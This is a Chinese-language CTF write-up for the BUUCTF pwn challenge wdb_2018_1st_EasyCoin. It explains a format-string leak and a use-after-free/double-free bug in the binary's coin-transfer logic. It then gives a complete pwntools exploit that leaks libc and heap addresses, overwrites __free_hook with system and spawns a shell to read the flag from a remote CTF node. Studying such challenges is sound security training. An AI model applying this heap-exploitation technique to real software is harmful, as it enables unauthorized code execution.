[BUUCTF-pwn] wdb_2018_1st_EasyCoin

原版的exp是这 网鼎杯-EasyCoin | e3pem's Blog 

看了半天好不容易弄明白。

漏洞点有两个,第1个比较容易,登录后输入4个字符不在菜单里的就直接printf,不过就4位也干不了嘛。把0-9都试一遍找到3和9分别是libc.write+0x10和heap_base+0x10也算是有用

        default:
          printf("[-] Unknown Command: ");
          printf(buf);                          // fmtstr不正确的输入可以执行printf(...)
          break;

第2个漏洞是当自己给自己转账的时候当删除用户时先删除对方凭证再删除自己的凭证。在删对方凭证时从对方链里找,这里当一个块被删除后fd的位置就是上一个块的开始位置与下一块指针就差-10。

free自己的部分

  free(*a1);
  free(a1[1]);
  if ( a1[3] )                                  // 删除交易信息
  {
    v4 = a1[3];
    while ( 1 )
    {
      sub_4012A0(v4[1], v4[2]);                 // 删除收款方的交易信息 按对方用户名删除,仅检查用户
      if ( !*v4 )
        break;
      ptr = v4;
      v4 = (_QWORD *)*v4;
      ptr[1] = 0LL;
      *ptr = 0LL;
      free(ptr);
    }
    free(v4);

调用sub_4012A0删除别人的手里的凭证

  if ( *(_QWORD *)(a1 + 24) )
  {
    v4 = 0LL;
    for ( ptr = *(_QWORD **)(a1 + 24); ptr[2] != a2; ptr = (_QWORD *)*ptr )// 相同凭证号的
    {
      if ( !*ptr )
        goto LABEL_11;
      v4 = ptr;
    }
    if ( v4 )
      *v4 = *ptr;
    else
      *(_QWORD *)(a1 + 24) = *ptr;
    free(ptr);
    result = 0LL;
  }

在这里当free 100后再 free 0d0 ,原来0d0的位置变所上一个块的起始位置0f0而对方是自己,就时会把0f0当成下个凭证的指针继续找,提前在0f0位置写上一个正确的指针:有块头可以被free,有相同的凭证号可以通过检查。这个块就会被free 。

这里由于free掉对方后还会free自己的凭证会形成double free,但这里已经得到重叠块不需要loop了。

free以后得到 0a0<-1390<-070<-1360<-070 loop

先将前两个耗掉,并且把070的fd置0(通过0块的修改密码功能)取消loop,再建一个用户用070作为管理块,这样0块修改密码就能控制新块的管理块的指针。这里将新块password指针指到__free_hook.然后用新块登录修改密码(改__free_hook里的值)为system

这时候free_hook劫持已完成,再建个块写入/bin/sh 然后free掉就行了。

from pwn import *

'''
patchelf --set-interpreter ../buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
patchelf --add-needed ../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
'''

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn', 27049) 

libc_elf = ELF('../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'

menu = b"> "
def add_user(username,password):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Please input username\n> ", username)
    p.sendlineafter(b"Please input password\n> ", password)
    p.sendlineafter(b"Verify input password\n> ", password)

def login(username, password):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Please input username\n> ", username)
    p.sendlineafter(b"Please input password\n> ", password)

#after login
def show_user():
    p.sendlineafter(menu, b'1')

def send_coin(username, cnt):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"What user do you send to?\n> ", username)
    p.sendlineafter(b"Hom many?\n> ", str(cnt).encode())

def show_tran():
    p.sendlineafter(menu, b'3')

def edit_password(new_pass):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Please input password\n> ", new_pass)

def free_user():
    p.sendlineafter(menu, b'5')

def logout():
    p.sendlineafter(menu, b'6')

def other_cmd(cmd):
    p.sendafter(menu, cmd.encode())

#gdb.attach(p, 'b*0x401489\nb*0x4014bb')
add_user(b'A', b'A'*16+b'\x30')
add_user(b'B', b'B')
add_user(b'C', b'C')
login(b'A', b'A'*16+b'\x30')

'''
for i in range(10):
    other_cmd(f'%{i}$p')
'''
other_cmd('%3$p')
p.recvuntil(b'Command: 0x')
libc_base = int(p.recv(12), 16) -0x10 - libc_elf.sym['write']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

other_cmd('%9$p')
p.recvuntil(b'Command: 0x')
heap_base = int(p.recvuntil(b'\x7f')[:-2], 16) -0x10
print('heap:', hex(heap_base))

edit_password(p64(heap_base + 0x70))

#pzh = 0x31
[send_coin(b'C',1) for i in range(0x2e)]
logout()

login(b'B', b'B')
send_coin(b'A', 1)
free_user()

add_user(b'B', b'B')
login(b'B', b'B')
send_coin(b'A', heap_base + 0x70) #money = next_ptr
send_coin(b'B', 2)
'''
0x1f62070:	0x0000000001f620c0	0x414141414141410a <- password fake
0x1f62080:	0x0000000000000030	0x0000000000000000 <- fake_pzh 0x30 
0x1f62090:	0x0000000000000000	0x0000000000000031
0x1f620a0:	0x0000000001f63330	0x0000000001f63300
0x1f620b0:	0x0000000039a4a990	0x0000000001f620d0
0x1f620c0:	0x0000000000000000	0x0000000000000031
0x1f620d0:	0x0000000001f620f0	0x0000000000000000 <- free 0d0 fastbin:fd= 0f0 ,fake_next:0f0=070
0x1f620e0:	0x000000000000002f	0x0000000000000000
0x1f620f0:	0x0000000001f62070	0x0000000000000031
0x1f62100:	0x0000000001f632f0	0x0000000001f620a0   
0x1f62110:	0x000000000000002f	0x0000000000000001
0x1f62120:	0x0000000001f62070	0x0000000000000031
'''

free_user()
#0a0 <- 1390 <- 070 <- 1360 <- 070 loop

context.log_level = 'debug'

login(b'A', p64(heap_base + 0x1350))
send_coin('C', 1)
edit_password(b'\x00'*0x10)  #clear loop  fastbin:070
logout()

add_user(b'D', b'D') #manage_chunk = 070 = A.chunk_password

login(b'A', p64(heap_base + 0x13c0))
edit_password(p64(heap_base + 0x13c0) + p64(libc_elf.sym['__free_hook'])) #D->password:free_hook
logout()

login(b'D', b'\x00')
edit_password(p64(libc_elf.sym['system'])) #free_hook->system
logout()

add_user(b'E', b'/bin/sh')
login(b'E', b'/bin/sh')
free_user()

p.sendline(b'cat /flag')
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值